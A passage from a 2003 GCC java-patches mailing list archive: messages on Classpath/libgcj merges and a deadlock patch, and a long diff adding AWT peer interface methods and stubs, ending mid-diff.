esmtp (Exim 3.35 #1 (Debian)) id 18p8CG-0007xc-00 for ; Sat, 01 Mar 2003 15:42:40 +0100 Subject: Re: Classpath ObjectIn/OutputStream merge From: Mark Wielaard To: java-patches@gcc.gnu.org In-Reply-To: <1046016925.3355.827.camel@elsschot> References: <1046016925.3355.827.camel@elsschot> Content-Type: text/plain Organization: Message-Id: <1046529786.19773.203.camel@elsschot> Mime-Version: 1.0 Date: 01 Mar 2003 15:43:06 +0100 Content-Transfer-Encoding: 7bit Hi, On Sun, 2003-02-23 at 17:15, Mark Wielaard wrote: > The things that have to happen for a full merge are: > > - Reindent both Classpath and libgcj code (will do this as soon as this > goes in. Just did this: 2003-03-01 Mark Wielaard * java/io/ObjectInputStream.java: Reindent. * java/io/ObjectOutputStream.java: Likewise. Long and boring patch omitted. Diff between GNU Classpath and libgcj now only shows the real differences (some methods in ObjectInputStream). Cheers, Mark From java-patches-return-6308-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 16:19:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20522 invoked by alias); 1 Mar 2003 16:19:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20474 invoked from network); 1 Mar 2003 16:19:20 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 1 Mar 2003 16:19:20 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18p9hH-000887-00; Sat, 01 Mar 2003 17:18:47 +0100 Subject: Re: dl_iterate_phdr() deadlock patch From: Mark Wielaard To: "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org'" In-Reply-To: <1046521565.19771.198.camel@elsschot> References: <75A9FEBA25015040A761C1F74975667DA136D9@hplex4.hpl.hp.com> <1046521565.19771.198.camel@elsschot> Content-Type: text/plain Organization: Message-Id: <1046535554.19772.277.camel@elsschot> Mime-Version: 1.0 Date: 01 Mar 2003 17:19:14 +0100 Content-Transfer-Encoding: 7bit Hi, On Sat, 2003-03-01 at 13:26, Mark Wielaard wrote: > On Tue, 2003-02-25 at 21:19, Boehm, Hans wrote: > > Request: could someone who has seen the dl_iterate_phdr() deadlocks > > test this berfore I check it in? > > I was seeing this with the SyncTest running under gij and with Eclipse. > Sadly Eclipse doesn't seem to run anymore with recent gcj, I haven't > figured out yet what goes wrong, but it has nothing todo with this > patch. Figured out that previously I used the Eclipse 2.1 M4 build (and somehow I now used the M5 build). The M4 build seems to work very nicely with this patch applied. I have been running it now for half an hour, creating new projects, building and running programs, using the update manager to install WebDav support, using the CVS viewer, etc. And it just keeps on running. Nice, very nice. I am downloading the RC1 Eclipse build now to see how that one works. But your patch clearly makes my environment much more stable. Thanks, Mark From java-patches-return-6309-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 21:02:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10125 invoked by alias); 1 Mar 2003 21:02:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10088 invoked from network); 1 Mar 2003 21:02:00 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 21:02:00 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA14214; Sat, 1 Mar 2003 14:01:59 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 31F934F8610; Sat, 1 Mar 2003 13:53:24 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio fixes References: <200302191355.07460.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: HAIR TONICS, please!! Date: 01 Mar 2003 13:53:23 -0700 In-Reply-To: <200302191355.07460.konqueror@gmx.de> Message-ID: <87llzyx0zg.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commited the attached patch to fix some oddities in Michael> java.nio and friends. I've finally put this on the 3.3 branch. Tom From java-patches-return-6310-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 01 21:16:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14627 invoked by alias); 1 Mar 2003 21:16:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14611 invoked from network); 1 Mar 2003 21:16:55 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 1 Mar 2003 21:16:55 -0000 Received: from fleche.redhat.com (tf0101.peakpeak.com [204.144.239.101]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA22630; Sat, 1 Mar 2003 14:16:53 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 28D924F8610; Sat, 1 Mar 2003 14:08:17 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: Classpath AWT re-merge From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm shaving!! I'M SHAVING!! Date: 01 Mar 2003 14:08:17 -0700 Message-ID: <87fzq6x0am.fsf@fleche.redhat.com> Lines: 1112 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk. This pulls in some recent Classpath AWT changes: some reindentations, a couple new files, some API conformance fixes, and a few peer additions. Tom Index: ChangeLog from Tom Tromey * Makefile.in: Rebuilt. * Makefile.am (awt_java_source_files): Added DropTargetPeer.java, RobotPeer.java. * gnu/java/awt/GLightweightPeer.java, gnu/java/awt/peer/gtk/GtkChoicePeer.java, gnu/java/awt/peer/gtk/GtkComponentPeer.java, gnu/java/awt/peer/gtk/GtkContainerPeer.java, gnu/java/awt/peer/gtk/GtkFramePeer.java, gnu/java/awt/peer/gtk/GtkPopupMenuPeer.java, gnu/java/awt/peer/gtk/GtkTextComponentPeer.java, java/awt/dnd/peer/DragSourceContextPeer.java, java/awt/dnd/peer/DropTargetContextPeer.java, java/awt/peer/ButtonPeer.java, java/awt/peer/CheckboxMenuItemPeer.java, java/awt/peer/CheckboxPeer.java, java/awt/peer/ChoicePeer.java, java/awt/peer/ComponentPeer.java, java/awt/peer/ContainerPeer.java, java/awt/peer/DialogPeer.java, java/awt/peer/FileDialogPeer.java, java/awt/peer/FramePeer.java, java/awt/peer/LabelPeer.java, java/awt/peer/ListPeer.java, java/awt/peer/MenuBarPeer.java, java/awt/peer/MenuComponentPeer.java, java/awt/peer/MenuItemPeer.java, java/awt/peer/MenuPeer.java, java/awt/peer/PopupMenuPeer.java, java/awt/peer/ScrollPanePeer.java, java/awt/peer/ScrollbarPeer.java, java/awt/peer/TextAreaPeer.java, java/awt/peer/TextComponentPeer.java, java/awt/peer/TextFieldPeer.java, java/awt/peer/WindowPeer.java: New versions from Classpath. * java/awt/dnd/peer/DropTargetPeer.java: New file from Classpath. * java/awt/peer/RobotPeer.java: Likewise. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.281 diff -u -r1.281 Makefile.am --- Makefile.am 28 Feb 2003 11:38:55 -0000 1.281 +++ Makefile.am 1 Mar 2003 21:14:42 -0000 @@ -992,6 +992,7 @@ java/awt/peer/MenuPeer.java \ java/awt/peer/PanelPeer.java \ java/awt/peer/PopupMenuPeer.java \ +java/awt/peer/RobotPeer.java \ java/awt/peer/ScrollPanePeer.java \ java/awt/peer/ScrollbarPeer.java \ java/awt/peer/TextAreaPeer.java \ @@ -1034,6 +1035,7 @@ java/awt/TexturePaint.java \ java/awt/dnd/peer/DragSourceContextPeer.java \ java/awt/dnd/peer/DropTargetContextPeer.java \ +java/awt/dnd/peer/DropTargetPeer.java \ java/awt/dnd/DnDConstants.java \ java/awt/dnd/DragGestureEvent.java \ java/awt/dnd/DragGestureListener.java \ Index: Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.302 diff -u -r1.302 Makefile.in --- Makefile.in 28 Feb 2003 11:38:55 -0000 1.302 +++ Makefile.in 1 Mar 2003 21:14:43 -0000 @@ -803,6 +803,7 @@ java/awt/TexturePaint.java \ java/awt/dnd/peer/DragSourceContextPeer.java \ java/awt/dnd/peer/DropTargetContextPeer.java \ +java/awt/dnd/peer/DropTargetPeer.java \ java/awt/dnd/DnDConstants.java \ java/awt/dnd/DragGestureEvent.java \ java/awt/dnd/DragGestureListener.java \ @@ -2598,7 +2599,7 @@ DISTFILES = $(DIST_COMMON) $(SOURCES) $(HEADERS) $(TEXINFOS) $(EXTRA_DIST) -TAR = tar +TAR = gtar GZIP_ENV = --best DIST_SUBDIRS = @DIRLTDL@ testsuite gcj include @DIRLTDL@ gcj include DEP_FILES = .deps/$(srcdir)/$(CONVERT_DIR)/gen-from-JIS.P \ @@ -3061,6 +3062,7 @@ .deps/java/awt/dnd/MouseDragGestureRecognizer.P \ .deps/java/awt/dnd/peer/DragSourceContextPeer.P \ .deps/java/awt/dnd/peer/DropTargetContextPeer.P \ +.deps/java/awt/dnd/peer/DropTargetPeer.P \ .deps/java/awt/event/AWTEventListener.P \ .deps/java/awt/event/AWTEventListenerProxy.P \ .deps/java/awt/event/ActionEvent.P \ Index: gnu/java/awt/GLightweightPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/awt/GLightweightPeer.java,v retrieving revision 1.2 diff -u -r1.2 GLightweightPeer.java --- gnu/java/awt/GLightweightPeer.java 22 Jan 2002 22:39:48 -0000 1.2 +++ gnu/java/awt/GLightweightPeer.java 1 Mar 2003 21:14:43 -0000 @@ -37,6 +37,7 @@ package gnu.java.awt; import java.awt.*; +import java.awt.event.PaintEvent; import java.awt.peer.*; import java.awt.image.*; @@ -111,6 +112,11 @@ public void hide() {} + public boolean isFocusable() + { + return false; + } + public boolean isFocusTraversable() { return false; @@ -140,6 +146,8 @@ public void requestFocus() {} + public boolean requestFocus(java.awt.Component source, boolean bool1, boolean bool2, long x) { return false; } + public void reshape(int x, int y, int width, int height) {} public void setBackground(Color color) {} @@ -164,4 +172,28 @@ { return null; } + + public boolean isObscured() { return false; } + + public boolean canDetermineObscurity() { return false; } + + public void coalescePaintEvent(PaintEvent e) { } + + public void updateCursorImmediately() { } + + public VolatileImage createVolatileImage(int width, int height) + { + return null; + } + + public boolean handlesWheelScrolling() { return false; } + + public void createBuffers(int x, java.awt.BufferCapabilities capabilities) + throws java.awt.AWTException { } + + public java.awt.Image getBackBuffer() { return null; } + + public void flip(java.awt.BufferCapabilities.FlipContents contents) { } + + public void destroyBuffers() { } } Index: gnu/java/awt/peer/gtk/GtkChoicePeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkChoicePeer.java,v retrieving revision 1.1 diff -u -r1.1 GtkChoicePeer.java --- gnu/java/awt/peer/gtk/GtkChoicePeer.java 31 Jan 2003 17:54:13 -0000 1.1 +++ gnu/java/awt/peer/gtk/GtkChoicePeer.java 1 Mar 2003 21:14:43 -0000 @@ -66,6 +66,8 @@ native public void add (String item, int index); native public void remove (int index); native public void select (int position); + + public void removeAll () { } public void addItem (String item, int position) { Index: gnu/java/awt/peer/gtk/GtkComponentPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkComponentPeer.java,v retrieving revision 1.2 diff -u -r1.2 GtkComponentPeer.java --- gnu/java/awt/peer/gtk/GtkComponentPeer.java 19 Feb 2003 00:35:35 -0000 1.2 +++ gnu/java/awt/peer/gtk/GtkComponentPeer.java 1 Mar 2003 21:14:43 -0000 @@ -394,4 +394,67 @@ { // FIXME: just a stub for now. } + + public boolean isFocusable () + { + return false; + } + + public boolean requestFocus (Component source, boolean b1, + boolean b2, long x) + { + return false; + } + + public boolean isObscured () + { + return false; + } + + public boolean canDetermineObscurity () + { + return false; + } + + public void coalescePaintEvent (PaintEvent e) + { + + } + + public void updateCursorImmediately () + { + + } + + public VolatileImage createVolatileImage (int width, int height) + { + return null; + } + + public boolean handlesWheelScrolling () + { + return false; + } + + public void createBuffers (int x, BufferCapabilities capabilities) + throws java.awt.AWTException + + { + + } + + public Image getBackBuffer () + { + return null; + } + + public void flip (BufferCapabilities.FlipContents contents) + { + + } + + public void destroyBuffers () + { + + } } Index: gnu/java/awt/peer/gtk/GtkContainerPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkContainerPeer.java,v retrieving revision 1.1 diff -u -r1.1 GtkContainerPeer.java --- gnu/java/awt/peer/gtk/GtkContainerPeer.java 31 Jan 2003 17:54:13 -0000 1.1 +++ gnu/java/awt/peer/gtk/GtkContainerPeer.java 1 Mar 2003 21:14:43 -0000 @@ -122,4 +122,8 @@ break; } } + + public void beginLayout () { } + public void endLayout () { } + public boolean isPaintPending () { return false; } } Index: gnu/java/awt/peer/gtk/GtkFramePeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkFramePeer.java,v retrieving revision 1.1 diff -u -r1.1 GtkFramePeer.java --- gnu/java/awt/peer/gtk/GtkFramePeer.java 31 Jan 2003 17:54:13 -0000 1.1 +++ gnu/java/awt/peer/gtk/GtkFramePeer.java 1 Mar 2003 21:14:43 -0000 @@ -127,6 +127,21 @@ y + insets.top, width, height))); } + + public int getState () + { + return 0; + } + + public void setState (int state) + { + + } + + public void setMaximizedBounds (Rectangle r) + { + + } } Index: gnu/java/awt/peer/gtk/GtkPopupMenuPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkPopupMenuPeer.java,v retrieving revision 1.1 diff -u -r1.1 GtkPopupMenuPeer.java --- gnu/java/awt/peer/gtk/GtkPopupMenuPeer.java 31 Jan 2003 17:54:13 -0000 1.1 +++ gnu/java/awt/peer/gtk/GtkPopupMenuPeer.java 1 Mar 2003 21:14:43 -0000 @@ -62,4 +62,9 @@ Point abs = origin.getLocationOnScreen (); show (abs.x + x, abs.y + y, 0); } + + public void show (Event e) + { + + } } Index: gnu/java/awt/peer/gtk/GtkTextComponentPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkTextComponentPeer.java,v retrieving revision 1.1 diff -u -r1.1 GtkTextComponentPeer.java --- gnu/java/awt/peer/gtk/GtkTextComponentPeer.java 31 Jan 2003 17:54:13 -0000 1.1 +++ gnu/java/awt/peer/gtk/GtkTextComponentPeer.java 1 Mar 2003 21:14:43 -0000 @@ -76,4 +76,19 @@ args.add ("text_position", tc.getCaretPosition ()); args.add ("editable", tc.isEditable ()); } + + public int getIndexAtPoint(int x, int y) + { + return 0; // FIXME + } + + public Rectangle getCharacterBounds (int pos) + { + return null; + } + + public long filterEvents (long filter) + { + return filter; // FIXME + } } Index: java/awt/dnd/peer/DragSourceContextPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/peer/DragSourceContextPeer.java,v retrieving revision 1.1 diff -u -r1.1 DragSourceContextPeer.java --- java/awt/dnd/peer/DragSourceContextPeer.java 9 Aug 2002 04:26:15 -0000 1.1 +++ java/awt/dnd/peer/DragSourceContextPeer.java 1 Mar 2003 21:14:44 -0000 @@ -42,14 +42,16 @@ import java.awt.Image; import java.awt.Point; import java.awt.dnd.DragSourceContext; +import java.awt.dnd.InvalidDnDOperationException; /** * STUBBED */ public interface DragSourceContextPeer { - void startDrag(DragSourceContext context, Cursor c, Image i, Point p); - Cursor getCursor(); - void setCursor(Cursor c); - void transferablesFlavorsChanged(); + public void startDrag(DragSourceContext context, Cursor c, Image i, Point p) + throws InvalidDnDOperationException; + public Cursor getCursor(); + public void setCursor(Cursor c) throws InvalidDnDOperationException; + public void transferablesFlavorsChanged(); } // interface DragSourceContextPeer Index: java/awt/dnd/peer/DropTargetContextPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/peer/DropTargetContextPeer.java,v retrieving revision 1.1 diff -u -r1.1 DropTargetContextPeer.java --- java/awt/dnd/peer/DropTargetContextPeer.java 3 Oct 2002 14:40:43 -0000 1.1 +++ java/awt/dnd/peer/DropTargetContextPeer.java 1 Mar 2003 21:14:44 -0000 @@ -37,9 +37,31 @@ package java.awt.dnd.peer; +import java.awt.dnd.DropTarget; +import java.awt.datatransfer.DataFlavor; +import java.awt.datatransfer.Transferable; +import java.awt.dnd.InvalidDnDOperationException; + + /** + * Used to control state of recipient protocol from the + * DropTargetListener. Occurs when a Component + * with an associated DropTarget and visible geometry is first + * intersected by a logical cursor. + * * @author Michael Koch */ public interface DropTargetContextPeer { -} // interface DropTargetContextPeer + public void setTargetActions(int actions); + public int getTargetActions(); + public DropTarget getDropTarget(); + public DataFlavor[] getTransferDataFlavors(); + public Transferable getTransferable() throws InvalidDnDOperationException; + public boolean isTransferableJVMLocal(); + public void acceptDrag(int dragAction); + public void rejectDrag(); + public void acceptDrop(int dropAction); + public void rejectDrop(); + public void dropComplete(boolean success); +} Index: java/awt/dnd/peer/DropTargetPeer.java =================================================================== RCS file: java/awt/dnd/peer/DropTargetPeer.java diff -N java/awt/dnd/peer/DropTargetPeer.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/dnd/peer/DropTargetPeer.java 1 Mar 2003 21:14:44 -0000 @@ -0,0 +1,48 @@ +/* DropTargetPeer.java -- interface for drag-and-drop peers + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.awt.dnd.peer; + +import java.awt.dnd.DropTarget; + +/** + */ +public interface DropTargetPeer +{ + public void addDropTarget (DropTarget target); + public void removeDropTarget (DropTarget target); +} // interface DropTargetContextPeer Index: java/awt/peer/ButtonPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/ButtonPeer.java,v retrieving revision 1.3 diff -u -r1.3 ButtonPeer.java --- java/awt/peer/ButtonPeer.java 22 Jan 2002 22:58:09 -0000 1.3 +++ java/awt/peer/ButtonPeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,8 +40,6 @@ public interface ButtonPeer extends ComponentPeer { - -public abstract void setLabel(String label); - + public void setLabel(String label); } // interface ButtonPeer Index: java/awt/peer/CheckboxMenuItemPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/CheckboxMenuItemPeer.java,v retrieving revision 1.3 diff -u -r1.3 CheckboxMenuItemPeer.java --- java/awt/peer/CheckboxMenuItemPeer.java 22 Jan 2002 22:58:09 -0000 1.3 +++ java/awt/peer/CheckboxMenuItemPeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,8 +40,6 @@ public interface CheckboxMenuItemPeer extends MenuItemPeer { - -public abstract void setState(boolean state); - + public void setState(boolean state); } // interface CheckboxMenuItemPeer Index: java/awt/peer/CheckboxPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/CheckboxPeer.java,v retrieving revision 1.3 diff -u -r1.3 CheckboxPeer.java --- java/awt/peer/CheckboxPeer.java 22 Jan 2002 22:58:09 -0000 1.3 +++ java/awt/peer/CheckboxPeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,10 +40,8 @@ public interface CheckboxPeer extends ComponentPeer { - -public abstract void setCheckboxGroup(java.awt.CheckboxGroup group); -public abstract void setLabel(String label); -public abstract void setState(boolean state); - + public void setCheckboxGroup(java.awt.CheckboxGroup group); + public void setLabel(String label); + public void setState(boolean state); } // interface CheckboxPeer Index: java/awt/peer/ChoicePeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/ChoicePeer.java,v retrieving revision 1.4 diff -u -r1.4 ChoicePeer.java --- java/awt/peer/ChoicePeer.java 22 Jan 2002 22:58:09 -0000 1.4 +++ java/awt/peer/ChoicePeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,11 +40,10 @@ public interface ChoicePeer extends ComponentPeer { - -public abstract void add(String item, int index); -public abstract void addItem(String item, int index); -public abstract void remove(int index); -public abstract void select(int index); - + public void add(String item, int index); + public void addItem(String item, int index); + public void remove(int index); + public void removeAll(); + public void select(int index); } // interface ChoicePeer Index: java/awt/peer/ComponentPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/ComponentPeer.java,v retrieving revision 1.9 diff -u -r1.9 ComponentPeer.java --- java/awt/peer/ComponentPeer.java 22 Jan 2002 22:58:09 -0000 1.9 +++ java/awt/peer/ComponentPeer.java 1 Mar 2003 21:14:44 -0000 @@ -39,6 +39,7 @@ package java.awt.peer; import java.awt.*; +import java.awt.event.PaintEvent; import java.awt.image.*; public interface ComponentPeer @@ -57,23 +58,38 @@ public Dimension getMinimumSize(); public Dimension getPreferredSize(); public Toolkit getToolkit(); - // The JCL says that handleEvent returns boolean. However, we've - // experimentally determined that it in fact actually returns void. public void handleEvent(AWTEvent e); public void hide(); + + /** + * Part of the earlier 1.1 API, replaced by isFocusable(). + */ public boolean isFocusTraversable(); + public boolean isFocusable(); public Dimension minimumSize(); public Dimension preferredSize(); public void paint(Graphics graphics); public boolean prepareImage(Image img, int width, int height, - ImageObserver ob); + ImageObserver ob); public void print(Graphics graphics); public void repaint(long tm, int x, int y, int width, int height); + + /** + * Part of the earlier 1.1 API, apparently replaced by argument + * form of the same method. + */ public void requestFocus(); + public boolean requestFocus(java.awt.Component source, boolean bool1, boolean bool2, long x); + public void reshape(int x, int y, int width, int height); public void setBackground(Color color); public void setBounds(int x, int y, int width, int height); + + /** + * Part of the earlier 1.1 API, apparently no longer needed. + */ public void setCursor(Cursor cursor); + public void setEnabled(boolean enabled); public void setFont(Font font); public void setForeground(Color color); @@ -84,7 +100,23 @@ * Get the graphics configuration of the component. The color model * of the component can be derived from the configuration. */ - GraphicsConfiguration getGraphicsConfiguration(); + public GraphicsConfiguration getGraphicsConfiguration(); + /** + * Part of an older API, no longer needed. + */ public void setEventMask (long mask); + + // Methods below are introduced since 1.1 + public boolean isObscured(); + public boolean canDetermineObscurity(); + public void coalescePaintEvent(PaintEvent e); + public void updateCursorImmediately(); + public VolatileImage createVolatileImage(int width, int height); + public boolean handlesWheelScrolling(); + public void createBuffers(int x, java.awt.BufferCapabilities capabilities) throws java.awt.AWTException; + public java.awt.Image getBackBuffer(); + public void flip(java.awt.BufferCapabilities.FlipContents contents); + public void destroyBuffers(); + } Index: java/awt/peer/ContainerPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/ContainerPeer.java,v retrieving revision 1.8 diff -u -r1.8 ContainerPeer.java --- java/awt/peer/ContainerPeer.java 7 Nov 2002 13:01:34 -0000 1.8 +++ java/awt/peer/ContainerPeer.java 1 Mar 2003 21:14:44 -0000 @@ -41,9 +41,12 @@ public interface ContainerPeer extends ComponentPeer { - public abstract Insets insets(); - public abstract Insets getInsets(); - public abstract void beginValidate(); - public abstract void endValidate(); + public Insets insets(); + public Insets getInsets(); + public void beginValidate(); + public void endValidate(); + public void beginLayout(); + public void endLayout(); + public boolean isPaintPending(); } // interface ContainerPeer Index: java/awt/peer/DialogPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/DialogPeer.java,v retrieving revision 1.3 diff -u -r1.3 DialogPeer.java --- java/awt/peer/DialogPeer.java 22 Jan 2002 22:58:09 -0000 1.3 +++ java/awt/peer/DialogPeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,9 +40,7 @@ public interface DialogPeer extends WindowPeer { - -public abstract void setResizable(boolean resizeable); -public abstract void setTitle(String title); - + public void setResizable(boolean resizeable); + public void setTitle(String title); } // interface DialogPeer Index: java/awt/peer/FileDialogPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/FileDialogPeer.java,v retrieving revision 1.3 diff -u -r1.3 FileDialogPeer.java --- java/awt/peer/FileDialogPeer.java 22 Jan 2002 22:58:09 -0000 1.3 +++ java/awt/peer/FileDialogPeer.java 1 Mar 2003 21:14:44 -0000 @@ -42,10 +42,8 @@ public interface FileDialogPeer extends DialogPeer { - -public abstract void setFile(String file); -public abstract void setDirectory(String dir); -public abstract void setFilenameFilter(FilenameFilter ff); - + public void setFile(String file); + public void setDirectory(String dir); + public void setFilenameFilter(FilenameFilter ff); } // interface FileDialogPeer Index: java/awt/peer/FramePeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/FramePeer.java,v retrieving revision 1.6 diff -u -r1.6 FramePeer.java --- java/awt/peer/FramePeer.java 22 Jan 2002 22:58:09 -0000 1.6 +++ java/awt/peer/FramePeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,14 +40,16 @@ import java.awt.Image; import java.awt.MenuBar; +import java.awt.Rectangle; public interface FramePeer extends WindowPeer { - -public abstract void setIconImage(Image image); -public abstract void setMenuBar(MenuBar mb); -public abstract void setResizable(boolean resizable); -public abstract void setTitle(String title); - + public void setIconImage(Image image); + public void setMenuBar(MenuBar mb); + public void setResizable(boolean resizable); + public void setTitle(String title); + public int getState(); + public void setState(int state); + public void setMaximizedBounds(Rectangle r); } // interface FramePeer Index: java/awt/peer/LabelPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/LabelPeer.java,v retrieving revision 1.3 diff -u -r1.3 LabelPeer.java --- java/awt/peer/LabelPeer.java 22 Jan 2002 22:58:09 -0000 1.3 +++ java/awt/peer/LabelPeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,9 +40,7 @@ public interface LabelPeer extends ComponentPeer { - -public abstract void setAlignment(int alignment); -public abstract void setText(String text); - + public void setAlignment(int alignment); + public void setText(String text); } // interface LabelPeer Index: java/awt/peer/ListPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/ListPeer.java,v retrieving revision 1.4 diff -u -r1.4 ListPeer.java --- java/awt/peer/ListPeer.java 22 Jan 2002 22:58:09 -0000 1.4 +++ java/awt/peer/ListPeer.java 1 Mar 2003 21:14:44 -0000 @@ -42,20 +42,21 @@ public interface ListPeer extends ComponentPeer { - -public abstract void add(String item, int index); -public abstract void addItem(String item, int index); -public abstract void clear(); -public abstract void delItems(int start_index, int end_index); -public abstract void deselect(int index); -public abstract int[] getSelectedIndexes(); -public abstract void makeVisible(int index); -public abstract Dimension minimumSize(int s); -public abstract Dimension preferredSize(int s); -public abstract void removeAll(); -public abstract void select(int index); -public abstract void setMultipleMode(boolean multi); -public abstract void setMultipleSelections(boolean multi); - + + public void add(String item, int index); + public void addItem(String item, int index); + public void clear(); + public void delItems(int start_index, int end_index); + public void deselect(int index); + public int[] getSelectedIndexes(); + public void makeVisible(int index); + public Dimension minimumSize(int s); + public Dimension preferredSize(int s); + public void removeAll(); + public void select(int index); + public void setMultipleMode(boolean multi); + public void setMultipleSelections(boolean multi); + public Dimension getPreferredSize(int s); + public Dimension getMinimumSize(int s); } // interface ListPeer Index: java/awt/peer/MenuBarPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/MenuBarPeer.java,v retrieving revision 1.4 diff -u -r1.4 MenuBarPeer.java --- java/awt/peer/MenuBarPeer.java 22 Jan 2002 22:58:09 -0000 1.4 +++ java/awt/peer/MenuBarPeer.java 1 Mar 2003 21:14:44 -0000 @@ -42,10 +42,8 @@ public interface MenuBarPeer extends MenuComponentPeer { - -public abstract void addHelpMenu(Menu menu); -public abstract void addMenu(Menu menu); -public abstract void delMenu(int index); - + public void addHelpMenu(Menu menu); + public void addMenu(Menu menu); + public void delMenu(int index); } // interface MenuBarPeer Index: java/awt/peer/MenuComponentPeer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/peer/MenuComponentPeer.java,v retrieving revision 1.3 diff -u -r1.3 MenuComponentPeer.java --- java/awt/peer/MenuComponentPeer.java 22 Jan 2002 22:58:09 -0000 1.3 +++ java/awt/peer/MenuComponentPeer.java 1 Mar 2003 21:14:44 -0000 @@ -40,8 +40,6 @@ public interface 